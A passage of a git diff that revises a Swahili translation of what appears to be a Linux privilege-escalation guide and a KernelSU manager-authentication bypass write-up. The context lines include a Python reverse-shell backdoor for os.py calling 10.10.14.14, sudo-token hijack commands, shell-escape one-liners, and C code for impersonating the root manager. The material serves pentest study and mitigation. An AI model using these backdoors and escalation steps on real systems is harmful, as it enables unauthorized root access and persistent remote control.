na kosa kama _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (Hakuna faili au directory kama hiyo)"_ kunapendekeza uwezekano wa unyakuzi. -Ili kutumia hii, mtu angeendelea kwa kuunda faili ya C, sema _"/path/to/.config/libcalc.c"_, yenye msimbo ufuatao: +Ili kutumia hili, mtu angeendelea kwa kuunda faili ya C, sema _"/path/to/.config/libcalc.c"_, yenye msimbo ufuatao: ```c #include #include @@ -894,7 +894,7 @@ hii inamaanisha kwamba maktaba uliyounda inahitaji kuwa na kazi inayoitwa `a_fun [**GTFOBins**](https://gtfobins.github.io) ni orodha iliyochaguliwa ya binaries za Unix ambazo zinaweza kutumiwa na mshambuliaji ili kupita vizuizi vya usalama wa ndani. [**GTFOArgs**](https://gtfoargs.github.io/) ni sawa lakini kwa kesi ambapo unaweza **tu kuingiza hoja** katika amri. -Mradi huu unakusanya kazi halali za binaries za Unix ambazo zinaweza kutumiwa vibaya kuvunja nje ya shells zilizozuiliwa, kupandisha au kudumisha haki za juu, kuhamasisha faili, kuzalisha bind na reverse shells, na kuwezesha kazi nyingine za baada ya unyakuzi. +Mradi huu unakusanya kazi halali za binaries za Unix ambazo zinaweza kutumiwa vibaya kuvunja nje ya shells zilizozuiliwa, kupandisha au kudumisha haki za juu, kuhamasisha faili, kuanzisha bind na reverse shells, na kuwezesha kazi nyingine za baada ya unyakuzi. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -924,17 +924,17 @@ Mahitaji ya kupandisha haki: - `cat /proc/sys/kernel/yama/ptrace_scope` ni 0 - `gdb` inapatikana (unaweza kuweza kuipakia) -(Unaweza kuwezesha kwa muda `ptrace_scope` kwa `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` au kudumu kubadilisha `/etc/sysctl.d/10-ptrace.conf` na kuweka `kernel.yama.ptrace_scope = 0`) +(Unaweza kuwezesha kwa muda `ptrace_scope` kwa `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` au kubadilisha kwa kudumu `/etc/sysctl.d/10-ptrace.conf` na kuweka `kernel.yama.ptrace_scope = 0`) Ikiwa mahitaji haya yote yanakidhi, **unaweza kupandisha haki kwa kutumia:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- **kuvunjika kwa kwanza** (`exploit.sh`) kutaunda binary `activate_sudo_token` katika _/tmp_. Unaweza kuitumia **kuamsha token ya sudo katika kikao chako** (hutaweza kupata shell ya root moja kwa moja, fanya `sudo su`): +- **kuvunjwa kwa kwanza** (`exploit.sh`) kutaunda binary `activate_sudo_token` katika _/tmp_. Unaweza kuitumia **kuamsha token ya sudo katika kikao chako** (hutaweza kupata shell ya root moja kwa moja, fanya `sudo su`): ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- The **second exploit** (`exploit_v2.sh`) itaunda sh shell katika _/tmp_ **inayomilikiwa na root yenye setuid** +- The **second exploit** (`exploit_v2.sh`) itaunda sh shell katika _/tmp_ **iliyomilikiwa na root yenye setuid** ```bash bash exploit_v2.sh /tmp/sh -p @@ -947,7 +947,7 @@ sudo su ### /var/run/sudo/ts/\ Ikiwa una **idhini za kuandika** katika folda au kwenye faili zozote zilizoundwa ndani ya folda hiyo unaweza kutumia binary [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) ili **kuunda token ya sudo kwa mtumiaji na PID**.\ -Kwa mfano, ikiwa unaweza kufuta faili _/var/run/sudo/ts/sampleuser_ na una shell kama mtumiaji huyo mwenye PID 1234, unaweza **kupata haki za sudo** bila kuhitaji kujua nenosiri kwa kufanya: +Kwa mfano, ikiwa unaweza kufuta faili _/var/run/sudo/ts/sampleuser_ na una shell kama mtumiaji huyo mwenye PID 1234, unaweza **kupata mamlaka ya sudo** bila kuhitaji kujua nenosiri kwa kufanya: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` @@ -973,7 +973,7 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -Kuna mbadala kadhaa ya `sudo` binary kama `doas` kwa OpenBSD, kumbuka kuangalia usanidi wake katika `/etc/doas.conf` +Kuna mbadala kadhaa ya binary ya `sudo` kama `doas` kwa OpenBSD, kumbuka kuangalia usanidi wake katika `/etc/doas.conf` ``` permit nopass demo as root cmd vim ``` @@ -1024,7 +1024,7 @@ linux-gate.so.1 => (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -Kwa kunakili lib ndani ya `/var/tmp/flag15/`, itatumika na programu mahali hapa kama ilivyoainishwa katika mabadiliko ya `RPATH`. +Kwa kunakili lib ndani ya `/var/tmp/flag15/` itatumika na programu mahali hapa kama ilivyoainishwa katika mabadiliko ya `RPATH`. ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1046,25 +1046,25 @@ setresuid(geteuid(),geteuid(), geteuid()); execve(file,argv,0); } ``` -## Capabilities +## Uwezo -Linux capabilities provide a **subset of the available root privileges to a process**. This effectively breaks up root **privileges into smaller and distinctive units**. Each of these units can then be independently granted to processes. This way the full set of privileges is reduced, decreasing the risks of exploitation.\ -Read the following page to **learn more about capabilities and how to abuse them**: +Linux capabilities hutoa **sehemu ya ruhusa za mizizi zinazopatikana kwa mchakato**. Hii kwa ufanisi inavunja ruhusa za mizizi **kuwa vitengo vidogo na tofauti**. Kila moja ya vitengo hivi inaweza kisha kutolewa kwa mchakato kwa uhuru. Kwa njia hii, seti kamili ya ruhusa inapunguzwa, ikipunguza hatari za unyakuzi.\ +Soma ukurasa ufuatao ili **ujifunze zaidi kuhusu uwezo na jinsi ya kuyatumia vibaya**: {{#ref}} linux-capabilities.md {{#endref}} -## Directory permissions +## Ruhusa za Katalogi -In a directory, the **bit for "execute"** implies that the user affected can "**cd**" into the folder.\ -The **"read"** bit implies the user can **list** the **files**, and the **"write"** bit implies the user can **delete** and **create** new **files**. +Katika katalogi, **bit ya "tekeleza"** inaashiria kwamba mtumiaji aliyeathiriwa anaweza "**cd**" kuingia kwenye folda.\ +Bit ya **"soma"** inaashiria kwamba mtumiaji anaweza **orodhesha** **faili**, na bit ya **"andika"** inaashiria kwamba mtumiaji anaweza **futa** na **unda** **faili** mpya. ## ACLs -Access Control Lists (ACLs) represent the secondary layer of discretionary permissions, capable of **overriding the traditional ugo/rwx permissions**. These permissions enhance control over file or directory access by allowing or denying rights to specific users who are not the owners or part of the group. This level of **granularity ensures more precise access management**. Further details can be found [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). +Orodha za Udhibiti wa Ufikiaji (ACLs) zinawakilisha safu ya pili ya ruhusa za hiari, zenye uwezo wa **kuzidi ruhusa za jadi za ugo/rwx**. Ruhusa hizi zinaboresha udhibiti juu ya ufikiaji wa faili au katalogi kwa kuruhusu au kukataa haki kwa watumiaji maalum ambao si wamiliki au sehemu ya kundi. Kiwango hiki cha **ukubwa kinahakikisha usimamizi wa ufikiaji sahihi zaidi**. Maelezo zaidi yanaweza kupatikana [**hapa**](https://linuxconfig.org/how-to-manage-acls-on-linux). -**Mpe** mtumiaji "kali" ruhusa za kusoma na kuandika juu ya faili: +**Patia** mtumiaji "kali" ruhusa za kusoma na kuandika juu ya faili: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) @@ -1077,10 +1077,10 @@ getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` ## Fungua vikao vya shell -Katika **toleo za zamani** unaweza **kuchukua** baadhi ya **vikao** vya mtumiaji tofauti (**root**).\ +Katika **toleo za zamani** unaweza **kudhibiti** baadhi ya **vikao** vya mtumiaji tofauti (**root**).\ Katika **toleo za hivi karibuni** utaweza **kuungana** na vikao vya skrini tu vya **mtumiaji wako mwenyewe**. Hata hivyo, unaweza kupata **habari za kuvutia ndani ya kikao**. -### kuchukua vikao vya skrini +### kudhibiti vikao vya skrini **Orodha ya vikao vya skrini** ```bash @@ -1097,7 +1097,7 @@ screen -x [user]/[session id] ``` ## tmux sessions hijacking -Hii ilikuwa shida na **matoleo ya zamani ya tmux**. Sikuweza kuhamasisha kikao cha tmux (v2.1) kilichoundwa na root kama mtumiaji asiye na mamlaka. +Hii ilikuwa shida na **toleo za zamani za tmux**. Sikuweza kuhamasisha kikao cha tmux (v2.1) kilichoundwa na root kama mtumiaji asiye na mamlaka. **Orodha ya vikao vya tmux** ```bash @@ -1124,26 +1124,26 @@ Check **Valentine box from HTB** for an example. ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 Mfunguo wote wa SSL na SSH ulioanzishwa kwenye mifumo ya msingi ya Debian (Ubuntu, Kubuntu, nk) kati ya Septemba 2006 na Mei 13, 2008 unaweza kuathiriwa na hitilafu hii.\ -Hitilafu hii inasababishwa wakati wa kuunda funguo mpya za ssh katika mifumo hiyo, kwani **mabadiliko 32,768 pekee yalikuwa yanawezekana**. Hii inamaanisha kwamba uwezekano wote unaweza kuhesabiwa na **ikiwa una funguo ya umma ya ssh unaweza kutafuta funguo ya kibinafsi inayolingana**. Unaweza kupata uwezekano uliohesabiwa hapa: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +Hitilafu hii inasababishwa wakati wa kuunda funguo mpya za ssh katika mifumo hiyo, kwani **mabadiliko 32,768 pekee yalikuwa yanawezekana**. Hii inamaanisha kwamba uwezekano wote unaweza kuhesabiwa na **ikiwa una funguo ya umma ya ssh unaweza kutafuta funguo ya faragha inayolingana**. Unaweza kupata uwezekano uliohesabiwa hapa: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) ### SSH Interesting configuration values -- **PasswordAuthentication:** Inaelezea ikiwa uthibitishaji wa nenosiri unaruhusiwa. Kiwango cha kawaida ni `no`. -- **PubkeyAuthentication:** Inaelezea ikiwa uthibitishaji wa funguo za umma unaruhusiwa. Kiwango cha kawaida ni `yes`. -- **PermitEmptyPasswords**: Wakati uthibitishaji wa nenosiri unaruhusiwa, inaelezea ikiwa seva inaruhusu kuingia kwenye akaunti zenye nywila tupu. Kiwango cha kawaida ni `no`. +- **PasswordAuthentication:** Inaeleza ikiwa uthibitishaji wa nenosiri unaruhusiwa. Kiwango cha kawaida ni `no`. +- **PubkeyAuthentication:** Inaeleza ikiwa uthibitishaji wa funguo za umma unaruhusiwa. Kiwango cha kawaida ni `yes`. +- **PermitEmptyPasswords**: Wakati uthibitishaji wa nenosiri unaruhusiwa, inaeleza ikiwa seva inaruhusu kuingia kwenye akaunti zenye nywila tupu. Kiwango cha kawaida ni `no`. ### PermitRootLogin -Inaelezea ikiwa root anaweza kuingia kwa kutumia ssh, kiwango cha kawaida ni `no`. Thamani zinazowezekana: +Inaeleza ikiwa root anaweza kuingia kwa kutumia ssh, kiwango cha kawaida ni `no`. Thamani zinazowezekana: -- `yes`: root anaweza kuingia kwa kutumia nenosiri na funguo ya kibinafsi -- `without-password` au `prohibit-password`: root anaweza kuingia tu kwa funguo ya kibinafsi -- `forced-commands-only`: Root anaweza kuingia tu kwa kutumia funguo ya kibinafsi na ikiwa chaguo za amri zimeelezwa +- `yes`: root anaweza kuingia kwa kutumia nenosiri na funguo ya faragha +- `without-password` au `prohibit-password`: root anaweza kuingia tu kwa funguo ya faragha +- `forced-commands-only`: Root anaweza kuingia tu kwa kutumia funguo ya faragha na ikiwa chaguo za amri zimeelezwa - `no` : hapana ### AuthorizedKeysFile -Inaelezea faili ambazo zinafunguo za umma ambazo zinaweza kutumika kwa uthibitishaji wa mtumiaji. Inaweza kuwa na alama kama `%h`, ambayo itabadilishwa na saraka ya nyumbani. **Unaweza kuashiria njia kamili** (zinazoanzia `/`) au **njia za kulinganisha kutoka nyumbani kwa mtumiaji**. Kwa mfano: +Inaeleza faili ambazo zinafunguo za umma ambazo zinaweza kutumika kwa uthibitishaji wa mtumiaji. Inaweza kuwa na alama kama `%h`, ambayo itabadilishwa na saraka ya nyumbani. **Unaweza kuashiria njia kamili** (zinazoanzia `/`) au **njia za kulinganisha kutoka nyumbani kwa mtumiaji**. Kwa mfano: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` @@ -1151,7 +1151,7 @@ Iyo usanidi utaonyesha kwamba ikiwa unajaribu kuingia na **funguo** ya mtumiaji ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding inakuwezesha **kutumia funguo zako za SSH za ndani badala ya kuacha funguo** (bila maneno ya siri!) zikiwa kwenye seva yako. Hivyo, utaweza **kuruka** kupitia ssh **kwenda kwenye mwenyeji** na kutoka hapo **kuruka kwenda kwenye mwenyeji mwingine** **ukitumia** **funguo** iliyoko kwenye **mwenyeji wako wa awali**. +SSH agent forwarding inakuwezesha **kutumia funguo zako za SSH za ndani badala ya kuacha funguo** (bila nywila!) zikiwa kwenye seva yako. Hivyo, utaweza **kuruka** kupitia ssh **kwenda kwenye mwenyeji** na kutoka hapo **kuruka kwenda kwenye mwenyeji mwingine** **ukitumia** **funguo** iliyoko kwenye **mwenyeji wako wa awali**. Unahitaji kuweka chaguo hili katika `$HOME/.ssh.config` kama ifuatavyo: ``` @@ -1181,7 +1181,7 @@ Ikiwa kuna skripti za wasifu zisizo za kawaida, unapaswa kuziangalia kwa **maele ### Faili za Passwd/Shadow -Kulingana na OS, faili za `/etc/passwd` na `/etc/shadow` zinaweza kuwa na jina tofauti au kuna nakala ya akiba. Kwa hivyo inashauriwa **kupata zote** na **kuangalia kama unaweza kusoma** ili kuona **kama kuna hash** ndani ya faili hizo: +Kulingana na OS, faili za `/etc/passwd` na `/etc/shadow` zinaweza kuwa na jina tofauti au kuna nakala ya akiba. Kwa hivyo inashauriwa **kupata zote** na **kuangalia kama unaweza kusoma** ili kuona **kama kuna hash** ndani ya faili: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null @@ -1221,7 +1221,7 @@ Unapaswa kuangalia kama unaweza **kuandika katika baadhi ya faili nyeti**. Kwa m find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -Kwa mfano, ikiwa mashine inaendesha seva ya **tomcat** na unaweza **kubadilisha faili ya usanidi wa huduma ya Tomcat ndani ya /etc/systemd/,** basi unaweza kubadilisha mistari: +Kwa mfano, ikiwa mashine inaendesha seva ya **tomcat** na unaweza **kubadilisha faili la usanidi wa huduma ya Tomcat ndani ya /etc/systemd/,** basi unaweza kubadilisha mistari: ``` ExecStart=/path/to/backdoor User=root @@ -1292,12 +1292,12 @@ Soma msimbo wa [**linPEAS**](https://github.com/carlospolop/privilege-escalation ### Logs Ikiwa unaweza kusoma logi, huenda ukapata **habari za kuvutia/za siri ndani yao**. Kadri logi inavyokuwa ya ajabu, ndivyo itakavyokuwa ya kuvutia zaidi (labda).\ -Pia, baadhi ya logi za "**mbaya**" zilizowekwa vibaya (zilizokuwa na backdoor?) zinaweza kukuruhusu **kurekodi nywila** ndani ya logi za ukaguzi kama ilivyoelezwa katika chapisho hili: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +Pia, baadhi ya "**mbaya**" zilizowekwa vibaya (zilizokuwa na backdoor?) **logi za ukaguzi** zinaweza kukuruhusu **kurekodi nywila** ndani ya logi za ukaguzi kama ilivyoelezwa katika chapisho hili: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` -Ili **kusoma kumbukumbu kundi** [**adm**](interesting-groups-linux-pe/index.html#adm-group) itakuwa ya msaada mkubwa. +Ili **kusoma kumbukumbu kundi** [**adm**](interesting-groups-linux-pe/index.html#adm-group) litakuwa na msaada mkubwa. ### Faili za Shell ```bash @@ -1321,13 +1321,13 @@ Sitaorodhesha hapa jinsi ya kufanya yote haya lakini ikiwa unavutiwa unaweza kua Ikiwa unajua **kutoka wapi** script ya python itatekelezwa na unaweza **kuandika ndani** ya folda hiyo au unaweza **kubadilisha maktaba za python**, unaweza kubadilisha maktaba ya OS na kuingiza backdoor (ikiwa unaweza kuandika mahali ambapo script ya python itatekelezwa, nakili na ubandike maktaba ya os.py). -Ili **kuingiza backdoor kwenye maktaba** ongeza tu mstari ufuatao mwishoni mwa maktaba ya os.py (badilisha IP na PORT): +Ili **kuingiza backdoor kwenye maktaba** ongeza tu kwenye mwisho wa maktaba ya os.py mistari ifuatayo (badilisha IP na PORT): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` ### Logrotate exploitation -Uthibitisho katika `logrotate` unawaruhusu watumiaji wenye **idhini za kuandika** kwenye faili la log au saraka zake za mzazi kupata haki za juu. Hii ni kwa sababu `logrotate`, mara nyingi ikikimbia kama **root**, inaweza kudhibitiwa ili kutekeleza faili zisizo za kawaida, hasa katika saraka kama _**/etc/bash_completion.d/**_. Ni muhimu kuangalia idhini si tu katika _/var/log_ bali pia katika saraka yoyote ambapo mzunguko wa log unatumika. +Uthibitisho katika `logrotate` unawaruhusu watumiaji wenye **idhini za kuandika** kwenye faili la log au saraka zake za mzazi kupata haki za juu. Hii ni kwa sababu `logrotate`, mara nyingi ikikimbia kama **root**, inaweza kudhibitiwa ili kutekeleza faili zisizo na mipaka, hasa katika saraka kama _**/etc/bash_completion.d/**_. Ni muhimu kuangalia idhini si tu katika _/var/log_ bali pia katika saraka yoyote ambapo mzunguko wa log unatumika. > [!TIP] > Uthibitisho huu unahusisha toleo la `logrotate` `3.18.0` na la zamani @@ -1340,9 +1340,9 @@ Uthibitisho huu ni sawa sana na [**CVE-2016-1247**](https://www.cvedetails.com/c ### /etc/sysconfig/network-scripts/ (Centos/Redhat) -**Marejeo ya uthibitisho:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) +**Kumbukumbu ya uthibitisho:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -Ikiwa, kwa sababu yoyote, mtumiaji anaweza **kuandika** script ya `ifcf-` kwenye _/etc/sysconfig/network-scripts_ **au** inaweza **kurekebisha** moja iliyopo, basi **sistimu yako imepata hatari**. +Ikiwa, kwa sababu yoyote, mtumiaji anaweza **kuandika** script ya `ifcf-` kwenye _/etc/sysconfig/network-scripts_ **au** inaweza **kurekebisha** ile iliyopo, basi **sistimu yako imepata hatari**. Scripts za mtandao, _ifcg-eth0_ kwa mfano zinatumika kwa muunganisho wa mtandao. Zinatazama kama faili za .INI. Hata hivyo, zinachukuliwa \~sourced\~ kwenye Linux na Network Manager (dispatcher.d). @@ -1370,7 +1370,7 @@ Kwa upande mwingine, `/etc/init` inahusishwa na **Upstart**, **usimamizi wa hudu nfs-no_root_squash-misconfiguration-pe.md {{#endref}} -### Kutoka kwenye Shells zilizozuiliwa +### Kutoka kwa Shells zilizozuiliwa {{#ref}} escaping-from-limited-bash.md @@ -1428,7 +1428,7 @@ cisco-vmanage.md ## Mfumo wa rooting wa Android: unyanyasaji wa manager-channel -Mifumo ya rooting ya Android mara nyingi huunganisha syscall ili kufichua kazi za kernel zenye hadhi kwa msimamizi wa nafasi ya mtumiaji. Uthibitishaji dhaifu wa msimamizi (mfano, ukaguzi wa saini kulingana na FD-order au mipango mibaya ya nywila) unaweza kuwezesha programu ya ndani kuiga msimamizi na kupandisha hadhi hadi root kwenye vifaa ambavyo tayari vime-rooted. Jifunze zaidi na maelezo ya unyanyasaji hapa: +Mifumo ya rooting ya Android mara nyingi huunganisha syscall ili kufichua kazi za kernel zenye hadhi kwa msimamizi wa nafasi ya mtumiaji. Uthibitishaji dhaifu wa msimamizi (mfano, ukaguzi wa saini kulingana na FD-order au mipango mibovu ya nywila) unaweza kuwezesha programu ya ndani kuiga msimamizi na kupandisha hadhi hadi root kwenye vifaa ambavyo tayari vime-rooted. Jifunze zaidi na maelezo ya unyanyasaji hapa: {{#ref}} android-rooting-frameworks-manager-auth-bypass-syscall-hook.md diff --git a/src/linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md b/src/linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md index 4b2cede28..bf6b626f7 100644 --- a/src/linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md +++ b/src/linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md @@ -10,10 +10,10 @@ Ukurasa huu unatoa muhtasari wa mbinu na mitego iliyogunduliwa katika utafiti wa ## Mchoro wa usanifu: syscall-hooked manager channel - Moduli ya kernel/patch inachukua syscall (kawaida prctl) kupokea "amri" kutoka kwa userspace. -- Protokali kwa kawaida ni: magic_value, command_id, arg_ptr/len ... -- Programu ya meneja ya userspace inathibitisha kwanza (mfano, CMD_BECOME_MANAGER). Mara kernel inapomwita kama meneja anayeaminika, amri za kibali zinakubaliwa: -- Pata root kwa mwitishaji (mfano, CMD_GRANT_ROOT) -- Simamia orodha za ruhusa/zuio kwa su +- Protokali kawaida ni: magic_value, command_id, arg_ptr/len ... +- Programu ya meneja ya userspace inathibitisha kwanza (mfano, CMD_BECOME_MANAGER). Mara kernel inapomweka mwito kama meneja anayeaminika, amri za kibali zinakubaliwa: +- Pata root kwa mwito (mfano, CMD_GRANT_ROOT) +- Simamia orodha za ruhusa/zuia kwa su - Badilisha sera ya SELinux (mfano, CMD_SET_SEPOLICY) - Uliza toleo/mipangilio - Kwa sababu programu yoyote inaweza kuita syscalls, usahihi wa uthibitishaji wa meneja ni muhimu. @@ -29,15 +29,15 @@ Mfano (muundo wa KernelSU): Wakati userspace inaita prctl(0xDEADBEEF, CMD_BECOME_MANAGER, data_dir_path, ...), KernelSU inathibitisha: 1) Ukaguzi wa awali wa njia -- Njia iliyotolewa lazima ianze na awali inayotarajiwa kwa UID ya mwitishaji, mfano /data/data/ au /data/user//. +- Njia iliyotolewa lazima ianze na awali inayotarajiwa kwa UID ya mwito, mfano /data/data/ au /data/user//. - Rejea: core_hook.c (v0.5.7) mantiki ya awali ya njia. 2) Ukaguzi wa umiliki -- Njia lazima iwe na umiliki wa UID ya mwitishaji. +- Njia lazima iwe na umiliki wa UID ya mwito. - Rejea: core_hook.c (v0.5.7) mantiki ya umiliki. 3) Ukaguzi wa saini ya APK kupitia skana ya jedwali la FD -- Tembea vigezo vya faili vilivyo wazi vya mchakato wa mwitishaji (FDs). +- Tembea vigezo vya faili vilivyo wazi vya mchakato wa mwito (FDs). - Chagua faili ya kwanza ambayo njia yake inalingana na /data/app/*/base.apk. - Parse saini ya APK v2 na kuthibitisha dhidi ya cheti rasmi cha meneja. - Rejea: manager.c (kuhusu FDs), apk_sign.c (uthibitisho wa APK v2). @@ -45,16 +45,16 @@ Wakati userspace inaita prctl(0xDEADBEEF, CMD_BECOME_MANAGER, data_dir_path, ... Ikiwa ukaguzi wote unakubalika, kernel inahifadhi UID ya meneja kwa muda na inakubali amri za kibali kutoka kwa UID hiyo hadi iporomoke. --- -## Daraja la udhaifu: kuamini "APK ya kwanza inayolingana" kutoka kwa skana ya FD +## Aina ya udhaifu: kuamini "APK ya kwanza inayolingana" kutoka kwa skana ya FD -Ikiwa ukaguzi wa saini unashikilia "APK ya kwanza inayolingana /data/app/*/base.apk" iliyopatikana katika jedwali la FD la mchakato, haithibitishi pakiti ya mwitishaji mwenyewe. Mshambuliaji anaweza kuweka APK iliyosainiwa kihalali (ya meneja halisi) ili ionekane mapema katika orodha ya FD kuliko base.apk yao wenyewe. +Ikiwa ukaguzi wa saini unashikilia "APK ya kwanza inayolingana /data/app/*/base.apk" iliyopatikana katika jedwali la FD la mchakato, haithibitishi pakiti ya mwito mwenyewe. Mshambuliaji anaweza kuweka APK iliyosainiwa kihalali (ya meneja halisi) ili ionekane mapema katika orodha ya FD kuliko base.apk yao wenyewe. -Kuamini kwa njia ya moja kwa moja kunawezesha programu isiyo na kibali kuiga meneja bila kumiliki funguo za saini za meneja. +Kuamini kwa njia hii kunaruhusu programu isiyo na kibali kuiga meneja bila kumiliki funguo za saini za meneja. Mali muhimu zinazotumika: -- Skana ya FD haishikilii kitambulisho cha pakiti ya mwitishaji; inalinganisha tu nyuzi za njia. +- Skana ya FD haishikilii kitambulisho cha pakiti ya mwito; inalinganisha tu nyuzi za njia. - open() inarudisha FD ya chini zaidi inayopatikana. Kwa kufunga FDs zenye nambari za chini kwanza, mshambuliaji anaweza kudhibiti mpangilio. -- Filter inakagua tu kwamba njia inalingana na /data/app/*/base.apk – si kwamba inahusiana na pakiti iliyosakinishwa ya mwitishaji. +- Filter inakagua tu kwamba njia inalingana na /data/app/*/base.apk – si kwamba inahusiana na pakiti iliyosakinishwa ya mwito. --- ## Masharti ya shambulizi @@ -67,15 +67,15 @@ Mali muhimu zinazotumika: ## Muhtasari wa unyakuzi (KernelSU v0.5.7) Hatua za juu: -1) Jenga njia halali kwa saraka ya data ya programu yako ili kukidhi ukaguzi wa awali na umiliki. -2) Hakikisha APK halisi ya Meneja wa KernelSU imefunguliwa kwenye FD yenye nambari ya chini kuliko base.apk yako. +1) Jenga njia halali hadi directory ya data ya programu yako ili kukidhi ukaguzi wa awali na umiliki. +2) Hakikisha APK halisi ya KernelSU Manager imefunguliwa kwenye FD yenye nambari ya chini kuliko base.apk yako. 3) Itisha prctl(0xDEADBEEF, CMD_BECOME_MANAGER, , ...) ili kupita ukaguzi. 4) Toa amri za kibali kama CMD_GRANT_ROOT, CMD_ALLOW_SU, CMD_SET_SEPOLICY ili kudumisha ongezeko. Maelezo ya vitendo kuhusu hatua ya 2 (mpangilio wa FD): - Tambua FD ya mchakato wako kwa /data/app/*/base.apk yako kwa kutembea kwenye symlinks za /proc/self/fd. - Funga FD ya chini (mfano, stdin, fd 0) na fungua APK halali ya meneja kwanza ili iweze kuchukua fd 0 (au index yoyote chini ya fd ya base.apk yako). -- Panga APK halali ya meneja pamoja na programu yako ili njia yake ikidhi filter ya kijinga ya kernel. Kwa mfano, weka chini ya njia ndogo inayolingana na /data/app/*/base.apk. +- Panga APK halali ya meneja pamoja na programu yako ili njia yake ikidhi filter ya kijinga ya kernel. Kwa mfano, weka chini ya subpath inayolingana na /data/app/*/base.apk. Mfano wa vipande vya msimbo (Android/Linux, kwa mfano tu): @@ -107,7 +107,7 @@ closedir(d); return best_fd; // First (lowest) matching fd } ``` -Force a lower-numbered FD kuonyesha kwenye APK halali ya meneja: +Lazimisha FD yenye nambari ya chini kuelekeza kwenye APK halali ya meneja: ```c #include #include @@ -151,15 +151,15 @@ Vidokezo vya race/persistence: ## Mwongozo wa kugundua na kupunguza Kwa waendelezaji wa mfumo: -- Funga uthibitisho kwa kifurushi/chapa ya mpiga simu, si kwa FDs zisizo na mpangilio: +- Funga uthibitisho kwa kifurushi/chapa ya mpiga simu, si kwa FDs zisizo za kawaida: - Pata kifurushi cha mpiga simu kutoka kwa chapa yake na kuthibitisha dhidi ya saini ya kifurushi kilichosakinishwa (kupitia PackageManager) badala ya kuskanisha FDs. - Ikiwa ni kernel pekee, tumia kitambulisho thabiti cha mpiga simu (task creds) na kuthibitisha kwenye chanzo thabiti cha ukweli kinachosimamiwa na init/userspace helper, si FDs za mchakato. -- Epuka ukaguzi wa njia-prefix kama kitambulisho; ni rahisi kutimizwa na mpiga simu. +- Epuka ukaguzi wa njia-prefix kama kitambulisho; zinaweza kutimizwa kwa urahisi na mpiga simu. - Tumia changamoto ya nonce–jibu kupitia channel na safisha kitambulisho chochote cha meneja kilichohifadhiwa wakati wa kuanzisha au kwenye matukio muhimu. -- Fikiria IPC iliyothibitishwa kwa kutumia binder badala ya kupakia syscalls za kawaida inapowezekana. +- Fikiria IPC iliyothibitishwa kwa kutumia binder badala ya kupita njia za kawaida za syscalls inapowezekana. Kwa walinzi/timu ya buluu: -- Gundua uwepo wa mifumo ya rooting na michakato ya meneja; angalia kwa simu za prctl zenye nambari za kichawi zisizo za kawaida (mfano, 0xDEADBEEF) ikiwa una telemetry ya kernel. +- Gundua uwepo wa mifumo ya rooting na michakato ya meneja; angalia kwa simu za prctl zenye nambari za kichawi zinazoshuku (mfano, 0xDEADBEEF) ikiwa una telemetry ya kernel. - Katika meli zinazodhibitiwa, zuia au onyo juu ya wapokeaji wa kuanzisha kutoka kwa kifurushi kisichotegemewa ambacho kinajaribu haraka amri za meneja zenye mamlaka baada ya kuanzisha. - Hakikisha vifaa vimeboreshwa kwa toleo la mfumo lililosasishwa; batilisha vitambulisho vya meneja vilivyohifadhiwa kwenye sasisho. @@ -170,7 +170,7 @@ Vikwazo vya shambulio: --- ## Maelezo yanayohusiana kati ya mifumo -- Uthibitisho wa msingi wa nenosiri (mfano, 